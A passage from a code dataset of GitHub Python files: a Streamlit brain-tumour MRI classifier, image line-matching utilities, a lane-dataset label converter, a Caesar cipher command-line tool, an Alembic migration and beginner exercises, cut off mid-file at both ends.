2, 3): (0, False, False), # Default\n (2, 0, 3, 1): (90, False, False), # Rotate 90\n (3, 2, 1, 0): (180, False, False), # Rotate 180\n (1, 3, 0, 2): (270, False, False), # Rotate 270\n (1, 0, 3, 2): (0, True, False), # Flip left to right\n (2, 3, 0, 1): (0, False, True), # Flip top to bottom\n (0, 2, 1, 3): (-90, True, False), # Transpose\n (3, 1, 2, 0): (90, True, False), # Transverse\n}\n\n\ndef get_orientation(order: Tuple[int, int, int, int]) -> int:\n \"\"\"\n Get orientation info from the vertex order\n \"\"\"\n return 0\n","repo_name":"pythonarcade/arcade","sub_path":"arcade/texture/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"en","doc_type":"code","stars":1537,"dataset":"github-code","pt":"54"} +{"seq_id":"43180241915","text":"import streamlit as st\nimport pandas as pd\nfrom fastai.vision.all import *\nimport pydicom\nfrom pydicom.pixel_data_handlers.util import apply_voi_lut\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nfrom PIL import Image\nimport streamlit.components.v1 as components\nimport time\nimport s3fs\nimport os\n\n# # for Windows\n# import pathlib\n# temp = pathlib.PosixPath\n# pathlib.PosixPath = pathlib.WindowsPath\n\n# initiate AWS S3 filesystem\nfs = s3fs.S3FileSystem(anon=False)\n# show sidebar when entering the app\nst.set_page_config(\n page_title = 'Brain Tumour Radiogenomic Classification', \n page_icon = '­ЪДа',\n initial_sidebar_state = 'expanded')\n\nclass WrongFileType(ValueError):\n pass\n\n@st.cache(ttl=600)\ndef get_sample(filename='sample_image.csv'):\n \"\"\"Get the sample image dataset from csv file\n The function is cached for 5 minutes for faster runtime.\n\n Args:\n filename (str, optional): the file name to read. Defaults to 'sample_image.csv'.\n\n Returns:\n pandas.DataFrame: data frame of sample images\n \"\"\"\n df_sample = pd.read_csv(filename)\n return df_sample\n\n@st.experimental_singleton\ndef get_model(filename='export.pkl'):\n \"\"\"Download the model from AWS S3. return learner for prediction.\n\n Args:\n filename (str, optional): filename of the model to be imported. Defaults to 'export.pkl'.\n\n Returns:\n Learner: Fastai Learner class\n \"\"\"\n filename = 'models/' + filename\n # download model from the AWS S3 bucket filesystem\n fs.get(f'fyp-slm/{filename}', filename)\n # load model\n model = load_learner(filename)\n # remove model file\n os.remove(filename)\n return model\n\n# neccesary input function for importing the model\ndef get_x(r):\n return r['filepath']\n\n# neccesary output function for importing the model\ndef get_y(r):\n return r['MGMT_value']\n\ndef dicom2png(file):\n \"\"\"Turn Dicom image into PNG format\n\n Args:\n file (str): dicom image file that user uploaded \n\n Returns:\n Image: Image in PNG format \n \"\"\"\n dicom = pydicom.read_file(file, force=True)\n data = apply_voi_lut(dicom.pixel_array, dicom)\n if dicom.PhotometricInterpretation == \"MONOCHROME1\":\n data = np.amax(data) - data\n data = data - np.min(data)\n data = data / np.max(data)\n data = (data * 255).astype(np.uint8)\n im = Image.fromarray(data)\n return im\n\n@st.cache(ttl=600)\ndef get_images():\n \"\"\"Get images of sample data\n\n Returns:\n list: list of Image\n \"\"\"\n return [Image.open(f'images/EDA/Image-{i}.png') for i in range(4,33)]\n\ndef create_animation():\n \"\"\"create animation using the brain tumour images\n\n Returns:\n animation.FuncAnimation: animation.FuncAnimation from matplotlib\n \"\"\"\n plt.style.use('dark_background')\n fig = plt.figure(figsize=(3,3))\n plt.axis('off')\n images = get_images()\n im = plt.imshow(images[0], cmap=\"gray\")\n\n def animate_func(i):\n im.set_array(images[i])\n return [im]\n\n return animation.FuncAnimation(fig, animate_func, frames = len(images), interval = 1000//24)\n\nst.title('Brain Tumour Radiogenomic Classification')\n\n# App Description\nwith st.expander(\"About the app\"):\n st.markdown(\"This app is based on a Kaggle competition called [RSNA-MICCAI Brain Tumor Radiogenomic Classification](https://www.kaggle.com/c/rsna-miccai-brain-tumor-radiogenomic-classification), which is organized by Radiological Society of North America (RSNA).\")\n st.markdown(\"The app aims to predict the status of a genetic biomarker, ***MGMT promoter methylation***, which is important for choosing the brain cancer treatment for a patient.\")\n st.markdown(\"***MGMT promoter methylation*** is the key mechanism of MGMT gene silencing and predicts a favorable outcome in patients with glioblastoma who are exposed to alkylating agent chemotherapy.\")\n\n# App Manual\nwith st.expander(\"How to use\"):\n st.write(\"You can use either sample image or upload a dicom file to predict the result.\")\n st.markdown(\"\"\"> Step to use:\n> 1. Open sidebar\n> 2. Select data source\n> 3. Select sample / upload a dicom file (can be downloaded from [here](https://www.kaggle.com/c/rsna-miccai-brain-tumor-radiogenomic-classification/data))\n> 4. Press the \\\"Start Prediction\\\" button to start the prediction\"\"\")\n\n# content of sidebar\nwith st.expander('Data Visualization'):\n st.write('Sample Magnetic Resonance Imaging (MRI) image of brain tumour')\n # loading spinner to show process in progress\n with st.spinner(text=\"Robot are not train to be slow...\"):\n # create animation for data visualization\n line_ani = create_animation()\n # make component html to show animation\n components.html(line_ani.to_jshtml().replace('''.anim-state label {\n margin-right: 8px;\n}''', '''.anim-state label {\n margin-right: 8px;\n color: white;\n font-family:Helvetica;\n font-size: 12px;\n}'''), height=400)\n\nwith st.expander(\"More about the project\"):\n st.markdown(\"You can go to the [GitHub link](https://github.com/slm37102/Brain-Tumor-Classification) to learn more about the project.\")\n st.write(\"The model training is done using [this Kaggle notebook](https://www.kaggle.com/code/slm37102/t1w-brain-tumor-eca-nfnet-l2-5-epoch)\")\n st.write(\"The model is trained based on [this competition dataset](https://www.kaggle.com/c/rsna-miccai-brain-tumor-radiogenomic-classification)\")\n\n# set up layout of the app\nheader = st.container()\nprediction_col, actual_col = st.columns(2)\nvisualization = st.container()\n\nwith st.sidebar:\n st.header(\"Data Selection\")\n # loading spinner to show process in progress\n with st.spinner(text=\"Robot are not train to be slow...\"):\n # if user upload dicom file, actual is empty\n actual = \"\"\n # radio buttion for user to select the test data source\n option = st.radio(\n 'Select Your Data Source',\n ('Sample Data', 'Upload Data'))\n\n # if user chooses to use sample data\n if option == 'Sample Data':\n # get list of sample images\n df_sample = get_sample()\n sample_option = sorted(list(df_sample['BraTS21ID']))\n \n with st.expander(\"List of sample data\"):\n # loop through all sample images and show images\n for _, row in df_sample.iterrows():\n st.image(\n row['filepath'], \n caption=f\"Image ID: {row['BraTS21ID']}, MGMT value: {'MGMT not present' if row['MGMT_value'] == 0 else 'MGMT present'}\")\n # drop down box option for sample images\n image_option = st.selectbox(\n 'Sample Image ID',\n sample_option,\n help='Select a sample image to predict, the sample image can be seen in the list above'\n )\n # filter to selected_df\n selected_df = df_sample[df_sample['BraTS21ID'] == image_option]\n # get path of the sample image selected\n image_path = selected_df['filepath'].values[0]\n # get actual value of the selected sample image\n actual = selected_df['MGMT_value'].values[0]\n \n # if user chooses to use upload data\n if option == 'Upload Data':\n image_path = 'image.png'\n dicom_bytes = st.file_uploader(\"Upload DICOM file\")\n # if the upload file is empty\n if not dicom_bytes:\n raise st.stop() \n # try if file format is dicom \n try:\n # convert dicom file to png format\n png = dicom2png(dicom_bytes)\n # if file format is not dicom, show error\n except:\n st.write(WrongFileType(\"Does not appear to be a DICOM file\"))\n raise st.stop()\n # save uploaded image to path\n png.save(image_path)\n\n # checkbox to let user choose if needs to show image\n display_image = st.checkbox(\n 'Display image',\n help='Display the upload/selected image')\n # checkbox to let user choose if needs to show time taken\n display_time = st.checkbox(\n 'Display time taken', \n help='Display time needed to perform the prediction')\n # button to start prediction\n pressed = st.button('Start Prediction')\n\n# if 'Start Prediction' button is pressed\nif pressed:\n # loading spinner to show process in progress\n with st.spinner(text=\"Downloading Model...\"):\n # get model for prediction\n learn = get_model()\n \n # initialize start_time\n start_time = time.time()\n \n # loading spinner to show process in progress\n with st.spinner(text=\"Predicting in Progress...\"):\n # predict using image\n pred = learn.predict(image_path) # sample output = ('1', TensorBase(1), TensorBase([0.0034, 0.9966]))\n # prediction output to label value\n prediction = 'MGMT not present' if pred[0] == \"0\" else \"MGMT present\"\n # actual output to label value\n actual = 'MGMT not present' if actual == 0 else \"MGMT present\"\n \n with header:\n st.header(\"Prediction result\")\n\n with visualization:\n # displaytime taken for prediction\n if display_time: \n st.success(\"Time taken to predict: %.3f seconds\" % (time.time() - start_time))\n # display image for prediction\n if display_image: \n st.header(\"Image\")\n st.image(image_path)\n \n with prediction_col:\n # show predicted output and confidence\n st.metric(\n label=\"Predicted\", \n value=f\"{prediction}\", \n delta=f\"Confidence: {round(float(pred[2][int(pred[0])]) * 100, 4)} %\")\n \n if option == 'Sample Data':\n with actual_col:\n # show actual output \n st.metric(\n label=\"Actual\", \n value=f\"{actual}\")\n\n # show balloons when finished\n st.balloons()","repo_name":"slm37102/Brain-Tumor-Classification","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71664643360","text":"from processingMethods import matchingObjects\nimport pandas as pd\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\n\n\ndef match_lines(data, obj, delta_angle=3):\n \"\"\"\n\n Matches the lines of the given MatchingObject against the lines detected and stored in data\n\n Parameters:\n ------------------------\n data: pandas DataFrame\n database of lines with columns: path, angle, line, length\n obj: object of class MatchingObject\n an object of class matchingObjects for the query image\n delta_angle: int\n what is the furthest angle to yield a match? Note that the matches are first filtered on angle and only then on length\n TO-DO: length_prop - the proportion of length to be qualified as a match, e.g. length_prop=0.5 means that the matched length must be at least\n\n Returns: pandas DataFrame\n dataframe of lines with columns: path, scale, angle, line, length, line coords in the query image and\n optionally (not needed in further processing, just for visual inspection) the angle and length of the lines in the query image\n\n \"\"\"\n matches = pd.DataFrame()\n for i in range(len(obj.lines)):\n close_angle_data = data.loc[(data[\"angle\"] < obj.angle[i][0] + delta_angle) & (data[\"angle\"] > obj.angle[i][\n 0] - delta_angle)] # we first sort by angle as it is more important to match than length\n match = close_angle_data.iloc[(close_angle_data['length'] - obj.length[i][0]).abs().argsort()][\n :1] # given the angle data, find the closest match in length\n match[\"obj_line\"] = [obj.lines[i]]\n #match[\"obj_angle\"] = obj.angle[i] # just to show how great the match is, can be deleted later\n #match[\"obj_length\"] = obj.length[i]\n matches = pd.concat([matches, match])\n matches.dropna(inplace=True)\n matches[\"line\"] = matches[\"line\"].apply(lambda x: x.flatten())\n matches[\"obj_line\"] = matches[\"obj_line\"].apply(lambda x: x.flatten())\n\n return matches\n\n\ndef score_the_line(matches, normalizing_stats = [71.73, 26.70, 254.71, 94.19],\n angle_weight=1.0, length_weight=1.0, num_lines=None):\n \"\"\"\n Scores the lines striking a balance between angle (vertical lines preferred) and length (long lines preferred).\n The scoring method is based on a composite score of (normalized) angle and length, with user-specified weight for each. The normalization of each\n is done by subtracting the mean and dividing by the std.\n\n Parameters:\n -----------------------\n matches: pandas DataFrame\n contains information about the matched lines as returned by match_lines\n normalizing_stats: list like\n a list-like object containing mean and standard deviation of the absolute values of angle and length respectively (list of length 4).\n Default contains means and averages from 5 videos from testing phase.\n angle_weight: float\n weight of the angle in the score calculation\n length_weight: float\n weight of the length in the score calculation\n data: pandas DataFrame\n database of lines from the archive with columns: path, angle, line, length. Used to calculate the statistics if not supplied in normalizing_stats\n num_lines: int\n how many lines to return. Takes num_lines with the highest score\n\n\n Returns:\n ----------------------\n dataframe of lines with columns: path, scale, angle, line, length, line coords in the input image, normalized angle and length, score\n \"\"\"\n matches_normalized = matches.copy()\n angle_mean, angle_std, length_mean, length_std = normalizing_stats\n\n matches_normalized[\"angle_normalized\"] = (abs(matches_normalized[\"angle\"]) - angle_mean) / angle_std\n matches_normalized[\"length_normalized\"] = (matches_normalized[\"length\"] - length_mean) / length_std\n matches_normalized[\"score\"] = angle_weight * matches_normalized[\"angle_normalized\"] + length_weight * \\\n matches_normalized[\"length_normalized\"]\n\n if num_lines == None:\n best_matches = matches_normalized.sort_values(by=\"score\", ascending=False)\n else:\n best_matches = matches_normalized.sort_values(by=\"score\", ascending=False)[:num_lines]\n return best_matches\n\n\ndef sample_line(matches, num_lines=1, factor=2):\n \"\"\"\n Samples num_line lines from 'matches' using random sampling where each consecutive row is 'factor'\n times less likely to be selected.\n\n Parameters:\n -------------------------------\n matches: pandas DataFrame\n dataframe with lines ordered by score\n num_lines: int\n how many lines to return. Takes num_lines with the highest score.\n If num_lines bigger than matches, all matches are returned.\n factor: float\n defines how the odds of each consecutive rows change\n\n Returns:\n ----------------------------------------------\n\n matches_new.sample(...): pandas data frame\n Samples of matches\n\n \"\"\"\n matches_new = matches.copy()\n start_val = 1 # does not really matter as numbers will be\n probs = [start_val]\n for i in range(matches.shape[0] - 1):\n probs.append(probs[i] / factor)\n\n probs = np.array(probs)\n probs = probs / np.sum(probs)\n matches_new['probs'] = probs\n\n return matches_new.sample(n=min(num_lines, matches.shape[0]), replace=False, weights='probs', axis=0)\n\n\ndef get_the_line_rect(line_coords, img, margin_x=0, margin_y=0):\n \"\"\"\n Returns the rectangular crop with diagonal being the line with specified 'line_coords' optionally modified by a margin.\n\n Parameters:\n ---------------------------------------\n line_coords: list\n Has format [x_start,y_start, x_end,y_end]\n img: np.array\n an image\n margin_x: int\n How should the line be modified in x direction\n margin_y: int\n How should the line be modified in x direction\n\n Returns:\n ---------------------------------------\n matched_rect: np.array\n the cropped rectangle\n final_coords: list\n coordinates of the line the input image taking into account the margin and img_size\n\n \"\"\"\n x_s, y_s, x_e, y_e = line_coords # get the coordinates of the line\n height_match, width_match, _ = img.shape\n x_s, y_s, x_e, y_e = max(min(x_s - margin_x, x_e - margin_x), 0), max(min(y_s - margin_y, y_e - margin_y), 0), min(\n max(x_s + margin_x, x_e + margin_x), width_match), min(max(y_s + margin_y, y_e + margin_y), height_match)\n\n matched_rect = img[y_s:y_e, x_s:x_e]\n final_coords = [x_s, y_s, x_e, y_e]\n return matched_rect, final_coords\n\n\ndef overlay_on_img(img, matches, non_zero_objects_dic, margin_x=0, margin_y=0, adaptive_margin=True):\n \"\"\"\n Takes the img and overlays the match(es) from 'matches' on it.\n\n Parameters:\n ---------------------------------------\n img: np.array\n an image\n matches: pandas DataFrame\n dataframe of lines with columns: path, scale, angle, line, length, line coords in the input image, normalized angle and length and score\n non_zero_objects_dic: dictionary\n Dictionary with keys being paths to the images in the archive that have lines and keys being the matchingObjects that store them. Allows for fast overlaying.\n margin_x: int\n How should the line be modified in x direction\n margin_y: int\n How should the line be modified in x direction\n adaptive_margin: bool\n Specifies if the automatic margin should be performed.\n Automatic margin adds the margin based on triangular weight function. The added margin is 0 at 45 degrees and symmetric around 45 degrees.\n\n\n Returns:\n ---------------------------------------\n overlayed: np.array\n An image with overlayed match\n\n \"\"\"\n new_img = img.copy()\n\n if adaptive_margin == True:\n weights = np.concatenate((np.linspace(start=30, stop=0, num=45),\n np.linspace(start=0, stop=30, num=46))) # maximally 15 pixels will be added\n weights_dic = {}\n for angle, weight in enumerate(weights):\n weights_dic[angle] = round(weight)\n\n for row_num in range(matches.shape[0]):\n row = matches.iloc[row_num] #\n the_match_obj = non_zero_objects_dic[row[\"path\"]] # fetch the object from dic\n\n if adaptive_margin:\n angle = round(abs(row[\"angle\"]))\n if angle < 45: # increase the margin in y direction\n margin_y = weights_dic[angle]\n else:\n margin_x = weights_dic[angle]\n\n matched_rect, _ = get_the_line_rect(line_coords=row['line'], img=the_match_obj.img, margin_x=margin_x,\n margin_y=margin_y) # get the part to paste\n\n input_img_rect, input_coords = get_the_line_rect(line_coords=row['obj_line'], img=img, margin_x=margin_x,\n margin_y=margin_y)\n height_input, width_input, _ = input_img_rect.shape\n\n matched_rect = cv2.resize(matched_rect, (width_input, height_input))\n\n new_img[input_coords[1]:input_coords[3], input_coords[0]:input_coords[2]] = matched_rect\n\n return new_img\n\n\ndef all_in_one(path, data, non_zero_objects_dic,num_lines = 1, normalizing_stats=[71.73, 26.70, 254.71, 94.19],\n params_hough={\"threshold\": 200, \"minLineLength\": 150, \"maxLineGap\": 25}):\n \"\"\"\n Given a query image and database of matches, finds a match and overlays it on the query image.\n\n Parameters:\n ---------------------------------------\n path: str\n A path to an image. Can be modified for obj to be read directly from array, see matchingObjects init\n data: pandas DataFrame\n database of lines with columns: path, angle, line, length\n non_zero_objects_dic: dictionary\n Dictionary with keys being paths to the images in the archive that have lines and keys being the matchingObjects that store them. Allows for fast overlaying.\n num_lines: int\n how many matches to overlay. If num_lines bigger than matches, all matches are overlayed..\n normalizing_stats: list like\n a list-like object contating mean and standard deviation of the absolute values of angle and length respectively (list of length 4).\n Default contains means and avergaes from 5 videos from testing phase.\n params_hough: dictionary\n dictionary storing parameter values for hough transform\n\n Returns:\n --------------------------------------\n overlayed: np.array\n An image with overlayed match\n\n \"\"\"\n\n img = plt.imread(path) # read in query image\n obj = matchingObjects(img=img, scale=1, margin=0) # make it a matchingObject class\n obj.hough_lines(radians=False, **params_hough) # detect lines\n obj.rank_and_pick_lines(delta_angle=3, max_lines=None) # filter similar lines\n matches = match_lines(data, obj) # find matches\n\n # Calculate the score for each candidate match\n matches = score_the_line(matches, normalizing_stats, num_lines=None)\n overlayed = overlay_on_img(img, sample_line(matches, num_lines=num_lines), non_zero_objects_dic,\n adaptive_margin=True) # randomly sample num_lines lines and overlay on image\n\n return overlayed","repo_name":"bmanczak/AoM-LineMatching","sub_path":"matchingMethods.py","file_name":"matchingMethods.py","file_ext":"py","file_size_in_byte":11283,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"13507973520","text":"'''\r\nconvert to Tusimple json/txt format.\r\n'''\r\n\r\nimport cv2\r\nimport json\r\nimport numpy as np\r\nimport os\r\n\r\n'''\r\ndatasets name:vil-100 \r\npaper link: https://arxiv.org/abs/2108.08482\r\nreference: https://github.com/yujun0-0/MMA-Net/tree/main/dataset\r\n\r\ndatasets structure:\r\nVIL-100\r\n |----Annotations\r\n |----data\r\n |----JPEGImages\r\n |----Json\r\n |----train.json\r\n \r\n*********** A sample of one json-file ***********\r\n{\r\n \"camera_id\": 8272,\r\n \"info\": {\r\n \"height\": 1080 , \r\n \"width\": 1920,\r\n \"date\": \"2020-11-24\",\r\n \"image_path\": \"0_Road014_Trim005_frames/XXXXXX.jpg\"\r\n },\r\n \"annotations\": {\r\n \"lane\": [{\r\n \t \"id\": 1, \r\n \t \"lane_id\": 1,\r\n \t \"attribute\": 1,\r\n \t \"occlusion\": 0,\r\n \t \"points\": [[412.6, 720],[423.7, 709.9], ...]\r\n }, {...}, {...}, {...}]\r\n }\r\n }\r\n'''\r\nimport os \r\nimport cv2\r\nimport numpy as np\r\nimport json\r\n\r\n\r\ndef get_mask(mask, label, instance_gap):\r\n # read label\r\n label_content = open(label)\r\n \r\n label_info = json.load(label_content)['annotations']\r\n lanes_num = 0\r\n \r\n for index, line in enumerate(label_info['lane']):\r\n lanes_num += 1\r\n # print(line)\r\n points_x = []\r\n points_y = []\r\n # get points\r\n for point in line['points']:\r\n points_x.append(int(float(point[0])))\r\n points_y.append(int(float(point[1])))\r\n \r\n ptStart = 0\r\n ptEnd = 1\r\n \r\n points = list(zip(points_x, points_y))\r\n # sort along y\r\n points = sorted(points , key=lambda k: (k[1], k[0]))\r\n \r\n # print(points)\r\n while ptEnd < len(points_x):\r\n mask = cv2.line(mask, points[ptStart], points[ptEnd], [instance_gap * (index+1)]*3, 4, lineType = 8)\r\n ptStart += 1\r\n ptEnd += 1\r\n \r\n max_val = lanes_num * instance_gap\r\n \r\n return mask, max_val\r\n\r\ndef lane_instance(label_gray,pix_value, hstart, hend, hdis):\r\n lane = []\r\n for hstep in range(hstart, hend, hdis): # \r\n # h_samples.append(hstep)\r\n wids = np.where(label_gray[hstep][:] == pix_value)\r\n for ele in list(wids):\r\n # print(list(ele))\r\n if len(ele) == 0:\r\n val = -2\r\n else:\r\n val = int(sum(ele)/(len(ele))) # get average x_value.\r\n # if val != 1:\r\n lane.append(val)\r\n return lane \r\n\r\nif __name__ == '__main__':\r\n # choose datasets category from:'train','test'\r\n datasets_category = 'test' \r\n dataset_dir = '/mnt/h/lane_datasets/VIL-100' \r\n # datasets dir\r\n # dataset_dir = '{}/{}/'.format(path_to_datasets, datasets_category)\r\n # write ground truth in json or txt.\r\n save_gt = dataset_dir + '/data/{}_converted.json'.format(datasets_category)\r\n\r\n # read file from txt\r\n txt_file = '{}/data/{}.txt'.format(dataset_dir, datasets_category)\r\n\r\n file_list = open(txt_file)\r\n for file in file_list:\r\n file = file.strip()\r\n full_img_path = dataset_dir + file\r\n\r\n if not os.path.exists(full_img_path):\r\n continue\r\n print(\"Now dealing with:\", file)\r\n file_name = os.path.splitext(file.strip().split('/')[-1])[0] \r\n json_file = dataset_dir + file.replace('JPEGImages', 'Json') + '.json'\r\n \r\n # if os.path.exists(full_img_path):\r\n img = cv2.imread(full_img_path)\r\n \r\n h = img.shape[0]\r\n w = img.shape[1]\r\n \r\n # set param.\r\n points_num = 56*3\r\n instance_gap = 20\r\n hstart = 0\r\n hend = h\r\n hdis = h // points_num\r\n \r\n img_dict = {}\r\n h_samples = [] # height\r\n lanes = []\r\n \r\n mask = np.zeros([h,w,3],dtype=np.uint8)\r\n \r\n # parse label\r\n label_mask, max_value = get_mask(mask, json_file,instance_gap)\r\n \r\n # convert to grayscale.\r\n label_gray = label_mask[:,:,1]\r\n \r\n for hstep in range(hstart, hend, hdis):\r\n h_samples.append(hstep)\r\n \r\n # neg samples. \r\n if max_value == 0:\r\n lanes.append([-2]*points_num)\r\n \r\n # value:pix_value\r\n else:\r\n for value in range(instance_gap, max_value + 1, instance_gap):\r\n # print(\"value\", value)\r\n lane = lane_instance(label_gray,value, hstart, hend, hdis)\r\n \r\n if max(lane) == -2:\r\n lanes.append([-2]*points_num)\r\n else:\r\n lanes.append(lane)\r\n\r\n img_dict[\"lanes\"] = lanes\r\n img_dict[\"h_samples\"] = h_samples\r\n img_dict[\"raw_file\"] = f'{file}' # img_path\r\n \r\n img_dict_str = str(img_dict)\r\n # print(img_dict_str)\r\n img_dict = eval(img_dict_str)\r\n \r\n # write to txt\r\n # with open(\"save_gt\",\"a+\") as f:\r\n # f.writelines(img_dict_str + '\\n')\r\n # f.close()\r\n\r\n # write to json\r\n with open(save_gt,\"a+\") as out:\r\n string = json.dumps(img_dict)\r\n string += '\\n'\r\n out.write(string)\r\n out.close()\r\n\r\n # cv2.imencode('.png',label_mask)[1].tofile('{}\\{}.png'.format(save_mask_dir,file_name))\r\n \r\n \r\n print(\"finished~~\")\r\n\r\n\r\n\r\n","repo_name":"pandamax/parse_vil100","sub_path":"vil2tusimples.py","file_name":"vil2tusimples.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"34869801519","text":"import sys\nimport argparse\nfrom caesar_cipher import cipher\n\n\ndef main():\n args = parse_args()\n\n # Check that a direction is given\n if not args.encode and not args.decode:\n direction = get_direction(args)\n\n args.encode = direction == \"e\"\n args.decode = direction == \"d\"\n\n # Check that there is some input\n if not args.file and not args.text:\n get_message(args)\n\n # Validate there is a key value\n if not args.key:\n get_encoding_key(args)\n\n direction = \"e\" if args.encode else \"d\"\n if args.file:\n if not args.outfile:\n args.outfile = open(\"output.txt\", \"w\", encoding='UTF-8')\n if args.print:\n prefix = \"en\" if args.encode else \"de\"\n print(f\"The {prefix}coded text is:\")\n with args.file as reader, args.outfile as writer:\n for line in reader:\n writer.write(cipher(line, args.key, direction))\n if args.print:\n print(cipher(line, args.key, direction), end=\"\")\n if args.print:\n print(\"\\n------------------\")\n print(f\"Outfile: {args.outfile.name}\")\n\n if args.text:\n # args.text is a list of strings if it comes from command line arguments, string otherwise\n text = \" \".join(args.text) if type(args.text) is list else args.text\n print(cipher(text, args.key, direction))\n if args.outfile:\n with args.outfile as writer:\n writer.write(cipher(text, args.key, direction))\n print(\"------------------\")\n print(f\"Outfile: {args.outfile.name}\")\n\n\ndef get_encoding_key(args):\n while True:\n key = int(input(\"Type the key number:\\n\"))\n if key % 26 == 0:\n print(\"Multiples of 26 don't make great ciphers! Try again.\")\n else:\n break\n args.key = key\n\n\ndef get_message(args):\n while True:\n read_from_file = input(\"Use a .txt file as input? yes/no \").lower()\n if read_from_file in [\"yes\", \"y\", \"no\", \"n\"]:\n read_from_file = True if read_from_file in [\"yes\", \"y\"] else False\n break\n else:\n print(\"Sorry, I didn't get that.\")\n # If from file get a file handle and store it in args.file\n if read_from_file:\n file_name = input(\"File name: \")\n try:\n args.file = open(file_name, 'r', encoding='UTF-8')\n except IOError as error:\n sys.exit(error.strerror)\n # Otherwise, get the input from the console\n else:\n while True:\n write_to_file = input(\"Write result to a .txt file? yes/no \").lower()\n if write_to_file in [\"yes\", \"y\", \"no\", \"n\"]:\n write_to_file = True if write_to_file in [\"yes\", \"y\"] else False\n break\n else:\n print(\"Sorry, I didn't get that.\")\n if write_to_file:\n while True:\n file_name = input(\"Enter the name of the output file without extension or press to use \"\n \"default name: \")\n if \".\" not in file_name and \" \" not in file_name or file_name == \"\":\n break\n else:\n print(\"Invalid file name, please try again or press ctrl+c to quit the program.\")\n if not file_name:\n args.outfile = open(\"output.txt\", \"w\", encoding='UTF-8')\n else:\n file_name += \".txt\"\n args.outfile = open(file_name, \"w\", encoding='UTF-8')\n\n args.text = input(\"Type your message:\\n\")\n\n\ndef get_direction(args):\n while True:\n direction = input(\n \"Enter 'e' to encrypt, 'd' to decrypt or 'quit' to cancel:\\n\").lower()\n if direction == 'e' or direction == 'd':\n break\n elif direction in [\"quit\", \"q\"]:\n if args.file:\n args.file.close()\n if args.outfile:\n args.outfile.close()\n sys.exit(\"Operation cancelled.\")\n else:\n print(f\"'{direction}' is not a valid input.\")\n return direction\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"Encode or decode a message using a Caesar cipher.\",\n epilog=\"If arguments are missing or none is given, the application \"\n \"will fill the gaps by running in interactive mode.\")\n\n group_direction = parser.add_mutually_exclusive_group()\n group_direction.add_argument(\"-e\", \"--encode\", action=\"store_true\")\n group_direction.add_argument(\"-d\", \"--decode\", action=\"store_true\")\n\n group_input = parser.add_mutually_exclusive_group()\n group_input.add_argument(\"-f\", \"--file\", help=\"Read text input from FILE\",\n type=argparse.FileType('r', encoding=\"UTF-8\"))\n group_input.add_argument(\"-t\", \"--text\", help=\"The direct text input\", nargs=\"+\")\n\n parser.add_argument(\"-k\", \"--key\", help=\"A number as an encoding key. Values between 1 and 25\",\n type=int, choices=range(1, 26), metavar=\"1,2,3... 25\")\n\n parser.add_argument(\"-o\", \"--outfile\", help=\"If present, results are written to the specified file\",\n type=argparse.FileType('w', encoding=\"UTF-8\"))\n parser.add_argument(\"-p\", \"--print\", action=\"store_true\", help=\"Display result in the console. If the input comes \"\n \"from text typed in the console, this is the \"\n \"default behaviour.\")\n # parser.add_argument(\"-b\", \"--bar\", nargs='+', type=int, choices=range(1, 26), metavar=\"1,2,3... 25\")\n\n args = parser.parse_args()\n return args\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"MrG-Force/caesar-cipher-CLI","sub_path":"caesar.py","file_name":"caesar.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41853749052","text":"\"\"\"Implemented safe url feature\n\nRevision ID: efd97d68c529\nRevises: ef75f333ea4a\nCreate Date: 2021-08-16 08:07:28.074347\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'efd97d68c529'\ndown_revision = 'ef75f333ea4a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('urls', sa.Column(\n 'unsafe', sa.String(length=50), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('urls', 'unsafe')\n # ### end Alembic commands ###\n","repo_name":"DetektivKollektiv/python-lambda-functions","sub_path":"lambda_layers/core_layer/python/core_layer/alembic/versions/efd97d68c529_implemented_safe_url_feature.py","file_name":"efd97d68c529_implemented_safe_url_feature.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"36175643317","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nfrom typing import List\n\n\ndef convert_to_absolute(number: float) -> float:\n if number > 0:\n return number\n return -number\n\n\ndef use_prefixes() -> List[str]:\n prefixes, suffixe = \"JKLMNOPQ\", \"ack\"\n\n return [p + suffixe for p in prefixes]\n\n\ndef prime_integer_summation() -> int:\n primes = [2]\n n = 1\n while len(primes) < 100:\n n += 2\n sqrt = int(n ** 0.5) + 1\n for p in primes:\n if p > sqrt:\n continue\n if n % p == 0:\n break\n else:\n primes.append(n)\n\n return sum(primes)\n\n\ndef factorial(number: int) -> int:\n # if number == 1:\n # return 1\n # return number * factorial(number - 1)\n\n total = 1\n for n in range(2, number + 1):\n total *= n\n\n return total\n\n\ndef use_continue() -> None:\n # [print(i) for i in range(1, 11) if i != 5]\n for i in range(1, 11):\n if i == 5:\n continue\n print(i)\n\n\ndef verify_group(group: List[int]) -> bool:\n if len(group) < 3 or 10 <= len(group):\n return False\n if any(age == 25 for age in group):\n return True\n if any(age < 18 for age in group):\n return False\n if any(age > 70 for age in group) and any(age == 50 for age in group):\n return False\n return True\n\n\ndef verify_ages(groups: List[List[int]]) -> List[bool]:\n return [verify_group(group) for group in groups]\n\n\ndef main() -> None:\n number = -4.325\n print(f\"La valeur absolue du nombre {number} est {convert_to_absolute(number)}\")\n\n print(f\"La liste des noms générés avec les préfixes est: 